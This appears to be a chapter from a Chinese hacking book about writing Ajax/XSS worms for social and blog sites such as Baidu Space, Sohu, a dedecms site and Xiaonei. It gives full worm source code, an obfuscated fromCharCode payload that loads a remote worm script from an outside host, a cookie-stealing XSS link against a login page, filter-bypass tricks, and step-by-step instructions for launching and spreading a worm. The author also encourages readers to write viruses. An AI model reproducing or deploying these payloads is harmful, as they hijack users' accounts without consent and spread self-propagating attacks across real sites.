          下面就是这个蠕虫病毒完整代码,下面我们来分析一下,在 Ajax 中是如何编写蠕虫病毒:

          #header{height:89px;background:url("javascript:document.body.onload = function(){

          //因为是CSS 文件中未过滤,所以就在该文件中插入以下的 JavaScript 代码 var req = null;

          if(window.XMLHttpRequest) req = new XMLHttpRequest();

          //先建立XMLHttpRequest 对象,同时判断浏览器类型是否为 IE else if(window.ActiveXObject){ //如果是 IE,则判断它的版本

          var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');

          //建立一个数组,数组中为不同 IE 浏览器版本所要建立的对象名

          for(var i=0;i<msxml.length;i++){try{req = new ActiveXObject(msxml[i]); break;}catch(e){}}

          //利用一个for 循环,用一个异常处理来建立 XMLHttpRequest 对象 try{req.overrideMimeType('text/xml')}catch(e){}

          } //设置发送数据包的编码类型为 text/xml req.open('get','.',false); //利用 get 方法发送数据 req.send();

          var s=req.responseText; //将客户端接收到的 HTTP 响应的文本内容赋给变量 s p=s.indexOf('passport.baidu.com/?logout'); //建立一个索引

          if(p>0)

          {

          p=s.indexOf('<strong>'); if(p>0)

          {

          p=s.indexOf('/',p); //下面是声明的一些变量

          p2=s.indexOf(String.fromCharCode(34),p);

          var user=s.substring(p+1,p2); //用于获取浏览当前页面的用户的用户名 var name='Here is a bad site';

          var link='目标网址';

          var desc='This link was added by an XSS script';

          var url='/'+user+'/commit'; //建立当前所要发送数据的 URL var

          data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddyl ink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='

          +escape(desc);

          //通过将上面获得的数据全部经过编码后赋给变量 data req.open('post',url,false); //向变量 url 中发送数据 req.send(data);

          //发送的数据为 data,data 的功能就是将自己添加到浏览页面的用户的友情链接中去 alert('A friend link has been added to your space at http://hi.baidu.com/' +user);

          //弹出 对话框, 显示 A friend link has been added to your space at http://hi.baidu.com/+user

          }

          }

          else{alert('You are not a logged Baidu user.');}

          //如果用户没有登陆就弹出对话框,并显示 You are not a logged Baidu user,当然前面的攻击//就不回发生了

          }

          上面对程序简单的解释了一下,下面来整理思路。因为是 CSS 文件中没有对数据进行过滤,故我们的 JavaScript 代码应该插入其中,但又要符合 CSS 的语法,所以代码应该内嵌在#header{}中。

          程序首先建立 XMLHttpRequest 对象,同时判断浏览器是否为 IE。如果是 IE 则通过建立一个数组来遍历当前 IE 浏览器的版本,并根据版本建立当前的 XMLHttp。之所以这样做是因为 req = new XMLHttpRequest(); 的声明方式只适合于 IE7 版本,如果其他版本这样调用的话会出现错误的。如一下的代码就是用 req = new XMLHttpRequest();来建立的对象,我在 IE6 中运行后,就弹出对话框显示错误,如图 15-10 所示。

          <html>

          <head>

          <title>XMLHttpRequest</title>

          <body>

          <script language="javascript" type="text/javascript"> var request = false;

          try {

          rep = new XMLHttpRequest();

          } catch (failed) { request = false;

          }

          if (!request)

          alert("使用 rep = new XMLHttpRequest();建立对象在 IE6 中不成功");

          else

          alert("使用 rep = new XMLHttpRequest();建立对象在 IE6 中不成功");

          </script>

          </body>

          </head>

          </html>

          image

          图 15-10 显示错误

          现在大家就明白了,在不同的 IE 浏览器版本中建立 XMLHttpRequest 对象的方法是不同的,否则会出错。这就是为什么要判断版本的原因。

          在建立对象之后,通过向本页发送空数据,并获得返回 HTTP 响应的文本内容,之后在这些内容中建立索引从中找出一些数据,比如浏览当前页面的用户的用户名,以及他的一些空间信息。

          在获得这些数据之后,对其进行编码,其中编码出来的那个变量 data 的功能就是实现将自己添加到浏览当前页面的用户的友情链接。最后利用 send 和open 方法将这些数据发送出去,这样就实现了将自己添加到浏览当前页面的用户的友情链接中去了。同时还弹出一个对话框。

          当然,上面的代码都是针对已经登陆了百度空间的用户来攻击的,很多时候还有很多人在浏览的时候并未登陆,对于未登陆的用户浏览当前页面则是弹出一个对话框,里面显示 You are not a logged Baidu user。

          这就是攻击百度空间的蠕虫病毒的源码分析,是不是感觉到很简单呢?其实这个蠕虫还是比较好,没有产生什么恶意的攻击性。如果这个蠕虫实现的功能在里面插入一个木马,同时还将这些恶意代码发送到浏览该页面的用户的空间的 CSS 文件中。那么浏览了他的空间的人又将中马,那么就实现了木马的主动传播了。这个危害性才是够大的,当然这里并不是教大家如何去破坏。只是希望大家能够活学活用,从我个人的角度来说,写一些没有破坏力的病毒还是比较支持的,毕竟编写病毒是证明你编程水平到达一定水平的重要证明之一。不过千万不要破坏,国内这方面的法律也已经逐渐完善了。

          这就是本章对 Web 2.0 下的黑客技术做的一个简单介绍。对于 Web 2.0 在国内目前的网站还是非常少,它的潜力非常大。相信过两年将到处是 Web 2.0 的网站了。当然 Web 2.0下的语言不仅仅是 Ajax 还有目前逐渐在流行的 Ruby 等等。

          在看完了本书之后,希望各位黑友能够继续对 Web 2.0 进行研究,首先肯定是要对其下的主流语言先熟悉。然后就可以分析程序的漏洞了,争取走在 Web 2.0 在国内成为主流之前精通它,这样当在国内流行时,我们又掌控 Web 环境的天下了。

      1. Ajax蠕虫实战

        1. Ajax_sohu博客的一个小蠕虫

          目前 sohu 博客出了一个跨站漏洞:

          <!--[if IE]>

          <img src=\) width='0' height='0' onerror="alert('xss')" />

          <![endif]-->

          本文就讲述如何在 Web2.0 下的网站中利用 XSS 漏洞来编写一个蠕虫。一般的 ajax xss 无非就是类似:

          var url = "http://www.xxx.com/xx.do"

          var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("GET", url+"参数", false);

          xmlhttp.send();

          的类型。那么我们来做一个感染的,自动添加友情连接,我们先抓个包。如图 15-11 所示:

          image

          图 15-11

          然后我们写一段 ajax:

          <!--[if IE]>

          <script src=javascript:var xmlhttp; function createXMLHttpRequest(){ if(window.ActiveXObject)

          {xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

          }

          else if (window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest();

          }

          } //创建一个 xmlhttp 对象

          Function xiaoshuai()

          {

          createXMLHttpRequest(); XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); //别忘了这句话 xmlHttp.open("post","/manage/module.do",false);

          xmlHttp.send(escape(“m=update&id=m_30988476&type=my_links&title=&data=%7B%22li nkList%22%3A%5B%7B%22tit%22%3A%22username1%22%2C%22desc%22%3A%22username2%22%2C

          %22url%22%3A%22http%3A//www.xssor.cn/location.html%22%7D%5D%7D”)); window.document.onload='xiaoshuai();/>

          <![endif]-->

          其中抓包的信息里,

          描述是 username2,连接显示是 username1,link 地址是 www.xssor.cn/location.html,你把他换成你的博客的首页就好了,因为这个在首页也是可以执行的,如图 15-12 所示。

          image

          图 15-12

          结尾:整个文章是从遇到了 xss 的过滤,然后到解决了过滤(借鉴了别人的办法),然后写了一小段 ajax 来感染。一个小小的蠕虫就是这么诞生的,希望能从标签开始小心的过滤了。

        2. Ajax蠕虫初体验

          在注册某网站后,发现其提供了强大的功能,这个站点用的是 dedecms 的。反正闲着也是闲着,看看有没有什么洞洞可以利用吧。弄了一会,还真被我发现了点好玩的,如图 15-13、图 13-14 所示。

          image

          图 15-13 所示

          image

          图 15-14

          也许各位会说,不就是个再普通不过的跨站嘛,鸡肋。但是其是 WEB2.0 网站,可以用来写蠕虫,作为蠕虫,首要的特点当然是复制和自动传播。要想自动传播,必须要有一定的触发

          条件——XSS,也就是传说中的鸡肋。

          世界上果然没有一帆风顺的事,想法和现实的差距为什么每次都那么大。真的没想到上次发现能 XSS 的地方居然做了字符数限制。也就是说,这个 XSS 果然是鸡肋中的鸡肋,如图 15-15所示

          image

          图 15-15

          我在能 XSS 的地方写的是<Script>alert('www.hackall.cn')</Script>,但是没有出现预料的效果,反而是代码的一部分直接被显示出来了。查看了页面的源代码才知道字符数做限制了,如图 15-16 所示。

          image

          图 15-16 网页源代码

          下 面 就 让 我 给 大 家 演 示 下 是 怎 么 突 破 的 吧 。 在 网 址 栏 里 添 '><Script>alert('www.hackall.cn')/*然后在连接名称里添*/</Script>,于是乎就成功突破了字符限制,添加/**/主要是为了去掉多余的干扰字符,如图 15-17 所示。

          image

          图 15-17 突破字符串长度限制

          自动传播是关键

          蠕虫的本质就是感染。我们的蠕虫究竟怎么才能实现感染功能呢?可能大家都想到了吧。就是让每个登录的用户在浏览我的空间时,神不知鬼不觉的给他们自动添加一个 XSS代码,过程就跟我上面的 XSS 过程一样,只不过这些都是要蠕虫自己来完成的而已。下面这个 URL 就是添加一个含 XSS 代码的友情连接,http://www.***.com/member/flink_main.ph p?dopost=addnew&title=*/</Script>&url='></a><Script src=http://www.hackall.cn/3. txt>/*,如图 15-18、15-19 所示。

          image

          图 15-18 URL 添加脚本

          image

          图 15-19 添加后的网页源代码

          只要想办法让浏览空间的登录用户去访问上面那条构造的 URL,那就不知不觉的被感染了。既然已经有思路了,那么接下来的事情也就简单化了。下面就该 XMLHttpRequest 登场咯,具体用法我就不多说了,它可是 Ajax 中的主要角色,主要的功能就是异步提交。详细代码及注释如下:

          var xmlhttp; function xiaoman() {

          if(window.XMLHttpRequest)

          {

          xmlhttp = new XMLHttpRequest();

          }

          else if (window.ActiveXObject)

          {

          xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

          }//浏览器的兼容 xmlhttp.open("get","http://www.***.com/member/flink_main.php?dopost=addnew&titl e=*/</Script>&url='></a><Script src=http://www.hackall.cn/3.txt>/*",true); xmlhttp.send(null);

          }//感染

          这段代码很简单,相信各位大大们都能看的懂。意思就是当登录用户在浏览我们空间的时候自动提交指定的 URL。大家可能会说那这代码应该放在哪呢?当然是放到隐蔽的地方咯,就像我一样,把代码保存到了 http://www.hackall.cn/3.txt 中。

          至于如何启动这个蠕虫嘛?大致的过程是这样的:

          1、 首先你要把以上代码保存到一个安全的地方,至于后缀嘛,txt、gif 或是 html,随你的便。

          2、 在自己的空间里添加一个包含 XSS 的友情连接。这句 XSS 的代码为<Script src=http://你的代码保存的地址></Script>。

          3、 最后就是把自己的空间宣传出去,这样才会有越来越多的人感染。

        3. 跨站不仅仅是alert()

    一、引子

    目前所有的黑客技术中,使用最频繁的就是 XSS(Cross-Site Scripting),也就是我们常说的跨站脚本/攻击(这是一种攻击手法,当然也可以理解为一类漏洞)。从《WhiteHat Website Security Statistics Report》(附录 1)这篇报告中可以看出 XSS 的普遍与其流行程度,如图 15-20 所示:

    image

    图 15-20

    探究为什么会存在跨站这个问题,没什么意义,反正它就在那,和其他漏洞一样,跨站的产生往往都是因为程序员“懒”。假如世界上第一只 XSS WORM(Samy)没出来的话,也不会有那么多人去关注这类看似无聊的攻击手法(假如你仅仅会弹出一个框而已)。当满世界都是弹出框时,你难道不认为要来点更有趣的行动吗?

    其实XSS 在WEB1.0 时代就已经存在,而在WEB2.0 时代开始变得越来越有趣。根据WEB2.0的特性,此时的互联网是一个以用户为数据中心的 SNS 网络。比如 MySpace、百度空间、校内网、QQ 空间等。用户之间可以互相访问。假如访问时,用户保持着会话(session)并且很“幸运地”访问到了一个有 XSS 陷阱的网页,由于在同域内,XSS 陷阱就可以利用你自身的权限做你可以做的事(不要想当然了啊,这些你可以做的事是指你在某 SNS 网络上的帐户权限范围内的事),比如:修改你的个人档案,删除你的日志,以你的名义向你的好友们发送欺骗信息,并将这个 XSS 陷阱植入你的空间:->,完成这一系列动作也许只要几秒钟。这是蠕虫,具有传播性质的。

    在开始本文重点之前,我们有必要了解一下 XSS 到底邪恶在哪,那些满世界的弹出框到

    底有多大价值。

    二、XSS 能做什么

    按特征来划分,我将其分为三大类,各分类之间并没明显界限: 1、用来跳转到不可预知的页面或执行不可预知的脚本;

    2、用来实现定向攻击;

    3、用来诞生XSS WORM,具备传播性。

    第 1 类是最普遍的,往往被用在钓鱼欺骗上。我们不能说它没技术含量,钓鱼要钓的好,那可需要很深的功底。比如我们在帐户登录口做 XSS 陷阱(经典的有剑心的 Gmail 登录口陷阱(附录 2)与我的那个百度空间登录口陷阱(附录 3)),简单的例子:https://passport.ba

    idu.com/?login&u=./?"</script><script>alert(document.cookie)//,当你打开这个链接,输入你的百度空间帐户与密码登录时,会弹出你的百度空间 cookie 信息,黑客可以在第三方服务器上构造服务端程序来获取你的 cookie 信息。当真正开始钓鱼时,我们是不会去弹出框的,一切都要像平常一样……好像什么都没发生似的。当然这类也被广泛用于挂马技术上。

    第 2 类主要用来实现定向攻击,比如针对性挂马、针对性盗 cookie、针对性提权、针对性发生大量垃圾信息、针对性摧毁某人的所有数据。

    第 3 类的 XSS WORM 是最可爱的:-),也是针对 SNS 网络的最高级报复手段。它可以综合以上提到的各类技术手段,它具备蠕虫的性质,它可以在一天之内感染 SNS 网络上的百万用户,当这样的蠕虫可以诞生时,那么只有你想不到的,没有你做不到的。它可以引发一次庞大的 DDOS 攻击,它甚至可以借助浏览器漏洞或第三方 ActiveX 漏洞将破坏带到你的系统上。

    XSS WORM 是基于 WEB2.0 环境下存在的,与你使用的操作系统无关(LINUX,UNIX,WINDOWS等),当你关闭浏览器时,你并不会发现你的系统受到任何的影响(我假设这个 WORM 不挂马)。那么此时,你要担心的是存在于这个 SNS 网络中你的数据。好了,当你知道 XSS 能做什么的时候,是不是觉得仅仅一个弹出框是个浪费:-),弹出框往往是我们确定一个站点是否有 XSS漏洞的表现形式,弹出框并不是都没价值(但愿能在 Gmail 中来个弹出框?呵呵),后续的渗透就看你的实力了。

    三、校内网 XSS WORM

    可惜,我的这个 0DAY 今天发现被扼杀了,前几天还测试通过。0DAY 在否已经不重要,关键的是了解这个 WORM。本来我还犹豫是否要公开这个跨站点,现在没任何后顾之忧了。这个蠕虫源码也将全部公开。那就以这个为例子,好好了解一下整个渗透过程吧:-)

    渗透之前,必须熟练目标渗透环境,有什么功能模块,客户端代码逻辑等。

    1、XSS 导火线

    我发现校内网的日志评论区存在跨站漏洞。评论是允许 UBB 码的,唯一有价值的 UBB 码是

    [link][/link],这个会被服务端转变为这样的形式<a href=””></a>。当这样构造 UBB 码时[link]http:// hi.baidu.com/ycosxhack” style=”[/link],服务端返回<a href=” http://hi.baidu.com/ycosxhack” style=””></a>。没过滤双引号。于是我们就可以在

    style 内执行 JavaScript 代码。style 属性内一般是写 CSS 的,不过有两种方法可以在 CSS内执行 JS 脚本(针对 IE)。一种是 expression(alert(‘hixss’))表达式;一种是 background:url(javascript:alert(‘hixss’))这样的 javascript 伪协议形式。IE7 已经抛弃第二种了。为了将蠕虫影响范围扩大,我们还是用第一种。图 15-21 是一个不容易的弹出框(效果还在,但是漏洞已经被不小心补上了)。

    image

    图 15-21

    我们一般会将 XSS 陷阱(蠕虫的诞生源,就是这根 XSS 导火线)变形加密,至少不能让大部分人马上就看出 XSS 陷阱的原型。变形加密还有一个原因,有时候为了不被过滤而必须这样做(类似于对我们的操作系统木马进行免杀过程)。下面就是变形加密过的 XSS 陷阱:

    ★ [link]http://hi.baidu.com/ycosxhack"

    style="cos:expression(eval(String.fromCharCode(105,61,34,102,117,110,99,116,105

    ,111,110,32,108,111,97,100,40,41,123,118,97,114,32,120,61,100,111,99,117,109,10

    1,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,83,67,82,73

    ,80,84,39,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,101,118,105,10

    8,99,111,115,46,103,111,111,103,108,101,112,97,103,101,115,46,99,111,109,47,120

    ,45,120,105,97,111,110,101,105,45,119,111,114,109,46,106,115,39,59,120,46,100,1

    01,102,101,114,61,116,114,117,101,59,100,111,99,117,109,101,110,116,46,103,101,

    116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,72,69,6

    5,68,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,120,41,125,

    59,102,117,110,99,116,105,111,110,32,105,110,106,101,99,116,40,41,123,119,105,1

    10,100,111,119,46,115,101,116,84,105,109,101,111,117,116,40,39,108,111,97,100,4

    0,41,39,44,49,48,48,48,41,125,59,105,102,40,119,105,110,100,111,119,46,120,33,6

    1,49,41,123,119,105,110,100,111,119,46,120,61,49,59,105,110,106,101,99,116,40,4

    1,125,59,34,59,101,120,101,99,83,99,114,105,112,116,40,105,41)))[/link]

    String.fromCharCode()内是十进制码,解密还原后是这样的:

    i="function load(){var

    x=document.createElement('SCRIPT');x.src='http://evilcos.googlepages.com/x-xiao nei-worm.js';x.defer=true;document.getElementsByTagName('HEAD')[0].appendChild( x)};function inject(){window.setTimeout('load()',1000)};if(window.x!=1){window.x=1;inject()}

    ;";execScript(i)

    这段脚本,可比一个弹出框有意义多了:-) 。它会延时 1 秒钟后动态创建一个

    <script></script>标签,调用远程的 JS 文件,我们的蠕虫核心源码就在这个 JS 文件上了。将 defer 设置 true,那么这个远程的 JS 就会等待网页的其他内容加载结束后再调用。随后将这个<script></script>标签附加到网页的<head></head>标签内。这是 JS DOM 的最基本技巧,不理解的话,多百度百度,本文不可能从最基本讲起。其中

    if(window.x!=1){window.x=1;inject()}代码段是一个技巧,它会防止 expression 循环执行内部的 JS(expression 的特性)。于是加上这个技巧,expression 内的 JS 每次将只执行一次。

    2、实现 XSS WORM

    在校内网这样典型的 SNS 网络中跨站成功后,要发起一个 XSS WORM 并不是一件困难的事。曾经校内网的涂鸦板(用户自定义 CSS 的地方)是可以诞生蠕虫的(附录 4)。但是现在已经加上验证码限制,你每更新一次 CSS 都要填写验证码。蠕虫要从这样的环境中诞生,几乎是不可能的,因为蠕虫要传播就必须绕过验证码的限制。但是还是可以进行一些定向攻击,让每个访问你页面的人都不知不觉执行某一段代码,完成某些功能。本文的重点不在此。还是继续前面的操作吧。

    还记得前面 XSS 陷阱调用的远程 JS 吗?http://evilcos.googlepages.com/x-xiaonei-wor

    m.js(你可以下载下来分析)。这个 JS 就是蠕虫的核心源码了。它现实的功能是:

    将每位访问者的状态自动更新为“大家看看这个博客:http://hi.baidu.com/ycosxhack,然后给我留言:)”(如图 15-22 所示)。接着帮助访问者发表一篇最新的文章,文章名为“3.7维度 :-(”;内容为“离散值,可惜你看到的是乱码。”。最后会在这篇最新的文章下发表评论,评论的内容就是我们的 XSS 陷阱:->。于是这位访问者的好友们看到他的文章时,这个

    XSS 陷阱又开始重复上面这个动作。一个蠕虫就这样传播开了,这样的增长趋势将会越来越大。如图 15-22 所示。

    image

    图 15-23

    下面的代码没有任何破坏性:-)。要来点破坏的,那实在太容易了。本文目的是让大家了解 XSS WORM,让大家知道跨站其实可以这样,而不会手把手地教你做坏事。下面就来看看源码。代码不多,但是很经典。看注释:

    var _x=false; if(window.XMLHttpRequest){

    _x=new XMLHttpRequest(); //针对 FF 创建 XMLHttpRequest 对象

    }else if(window.ActiveXObject){

    _x=new ActiveXObject("Msxml2.XMLHTTP"); //针对IE 不同版本创建XMLHttpRequest 对象 if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}

    }

    //习惯性地针对 FF 与 IE 浏览器分别创建 XMLHttpRequest 对象,虽然此蠕虫仅在 IE 下得到支持

    new_state();

    //自动更新每位访问者的状态 function new_state(){

    var _w="\u5927\u5bb6\u770b\u770b\u8fd9\u4e2a\u535a\u5ba2\uff1a\u0068\u0074\u007 4\u0070\u003a\u002f\u002f\u0068\u0069\u002e\u0062\u0061\u0069\u0064\u0075\u002e

    \u0063\u006f\u006d\u002f\u0079\u0063\u006f\u0073\u0078\u0068\u0061\u0063\u006b\ uff0c\u7136\u540e\u7ed9\u6211\u7559\u8a00\uff1a\uff09";

    //这里是你希望更新状态的值,进行了 16 进制双字节编码,防止出现乱码

    var _4=new Ajax.Request("doing.do",{method:"post",parameters:"c="+_w,onComplete:

    _1,onFailure:_1});

    //借用校内网自带的 Ajax 库来完成异步更新状态值,多方便啊:-)更新成功后(onComplet

    e),将调用_1()函数(见下面)

    }

    //_2()函数将实现自动发表评论的功能,这个评论内容就是我们的 XSS 陷阱了 function _2(){

    var txt=_3or7("GET","http://blog.xiaonei.com/MyBlog.do",null);

    //使用_3or7 函数(见下面)来获取目标 url 的返回数据,即所有的 HTML 码。

    re=/\<td class=\"title\"\>\<a href=\"http:\/\/blog\.xiaonei\.com\/GetEntry\.do\?

    id=(.*?)&owner=(.*?)\"/i;

    //使用正则表达式来获取目标值,这里指 id 与owner 的值 r = txt.match(re);

    //match 匹配后返回目标值的数组形式 src="http://blog.xiaonei.com/PostComment.do";

    //表单值的提交地址,即一个表单<form></form>的 action 地址

    var _body="[link]http://www.baidu.com/\" style=\"cos:expression(eval(String.fro mCharCode(105,61,34,102,117,110,99,116,105,111,110,32,108,111,97,100,40,41,123, 118,97,114,32,120,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,

    108,101,109,101,110,116,40,39,83,67,82,73,80,84,39,41,59,120,46,115,114,99,61,3

    9,104,116,116,112,58,47,47,101,118,105,108,99,111,115,46,103,111,111,103,108,10

    1,112,97,103,101,115,46,99,111,109,47,120,45,120,105,97,111,110,101,105,45,119,

    111,114,109,46,106,115,39,59,120,46,100,101,102,101,114,61,116,114,117,101,59,1

    00,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,

    121,84,97,103,78,97,109,101,40,39,72,69,65,68,39,41,91,48,93,46,97,112,112,101,

    110,100,67,104,105,108,100,40,120,41,125,59,102,117,110,99,116,105,111,110,32,1

    05,110,106,101,99,116,40,41,123,119,105,110,100,111,119,46,115,101,116,84,105,1

    09,101,111,117,116,40,39,108,111,97,100,40,41,39,44,49,48,48,48,41,125,59,105,1

    02,40,119,105,110,100,111,119,46,120,33,61,49,41,123,119,105,110,100,111,119,46,

    120,61,49,59,105,110,106,101,99,116,40,41,125,59,34,59,101,120,101,99,83,99,114,

    105,112,116,40,105,41)))[/link]";

    //这就是我们的 XSS 陷阱,它将作为邪恶的评论内容出现

    //下面开始构造 HTTP 消息头 5 argv_1="\r\n";//这行不可缺少,HTTP 消息头的第一行是空白的

    //下面所有的 name="xxxx"都对应于表单中的表单元素的 name 属性值,我们在模拟表达提交过程

    //Content-Disposition 是 MIME 协议的扩展,这里指定其使用 form-data 表单数据类型 argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-dat a; name=\"body\"\r\n\r\n";

    argv_1+=(_body+"\r\n");

    argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-dat a; name=\"owner\"\r\n\r\n";

    argv_1+=(r[2]+"\r\n");

    argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-dat a; name=\"id\"\r\n\r\n";

    argv_1+=(r[1]+"\r\n");

    argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-dat a; name=\"to\"\r\n\r\n";

    argv_1+=("0"+"\r\n");

    argv_1+="---------------------7964f8dddeb95fc5--\r\n";

    //注意最后一行的分割特征符---------------------7964f8dddeb95fc5 最后有两减号--,表示 HTTP 消息头结束

    _3or7("POST",src,argv_1);

    //使用_3or7()函数,发送我们构造好的 HTTP 消息头

    }

    //_2()函数将实现自动发表最新文章的功能,文章名为“3.7 维度 :-(”;内容为“离散值,可惜你看到的是乱码。”

    //_2()函数HTTP 消息头的构造与_1()函数中的一样,我就不重复注释了 function _1() {

    src="http://blog.xiaonei.com/NewEntry.do";

    var title="\u0033\u002e\u0037\u7ef4\u5ea6 :-(";

    var _body="\u79bb\u6563\u503c\uff0c\u53ef\u60dc\u4f60\u770b\u5230\u7684\u662f\u 4e71\u7801\u3002";

    var blog_pic_id=""; var pic_path="";

    var blogControl="99"; argv="\r\n";

    argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\n";

    argv+=(title+"\r\n");

    argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"body\"\r\n\r\n";

    argv+=(_body+"\r\n");

    argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"theFile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\ r\n\r\n";

    argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"blog_pic_id\"\r\n\r\n";

    argv+=(blog_pic_id+"\r\n");

    argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"pic_path\"\r\n\r\n";

    argv+=(pic_path+"\r\n");

    argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"blogControl\"\r\n\r\n";

    argv+=(blogControl+"\r\n");

    argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"relative_optype\"\r\n\r\n";

    argv+=("publisher"+"\r\n");

    argv+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"del_relative_id\"\r\n\r\n\r\n";

    argv+="---------------------7964f8dddeb95fc5--\r\n";

    _3or7("POST",src,argv);

    //使用_3or7()函数,发送我们构造好的 HTTP 消息头

    _2();

    //调用_2()函数(见上面)

    }

    //_3or7()函数使用最开始创建的 XMLHttpRequest 对象来完成数据的获取与发送,这里我们没使用异步(异步则 AJAX)

    function _3or7(_m,_s,_a){

    _x.open(_m,_s,false);

    //open 的第三个参数为 false,则表示同步获取或发送数据 if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary

    =-------------------7964f8dddeb95fc5");

    //设置 HTTP 请求头类型,并指定使用-------------------7964f8dddeb95fc5 作为上面 HT TP 消息头的分割特征符

    _x.send(_a);

    return _x.responseText;

    //如果有返回值的话,就返回

    }

    眩晕了?到这里我们已经完整实现一个 XSS WORM 了,看看,这个和仅仅一个弹出框比起来,是不是有趣而刺激多了?当然也复杂多了。需要有一定的编码能力。虽然 XSS WORM 使用的核心技术往往相似 6,但是在不同的 WEB2.0 环境下,XSS WORM 也会有很多差别。

    很多技术细节不适合在本文出现,否则我可以考虑出书了(有没有人买?)- -!能从文中大致了解到 WEB2.0 环境下 XSS 的流程就已经足够,如果你要深挖的话,那好好准备吧,XS S 可不仅就这么点东西。最后的相关文章中将列出与本文有关的一些资料。

    声明:本章中的部分 XML 和 Ajax 内容参考了 IBM 公司官方网站上的技术开发文档;同时 A jax 中的部分黑客技术参考了由 Shreeraj Shah 写的《Top 10 Ajax Security Holes and Driving Factors》,原文在 http://www.net-security.org/article.php?id=956。非常的感谢 IBM 公司的技术开发文档和 Shreeraj Shah。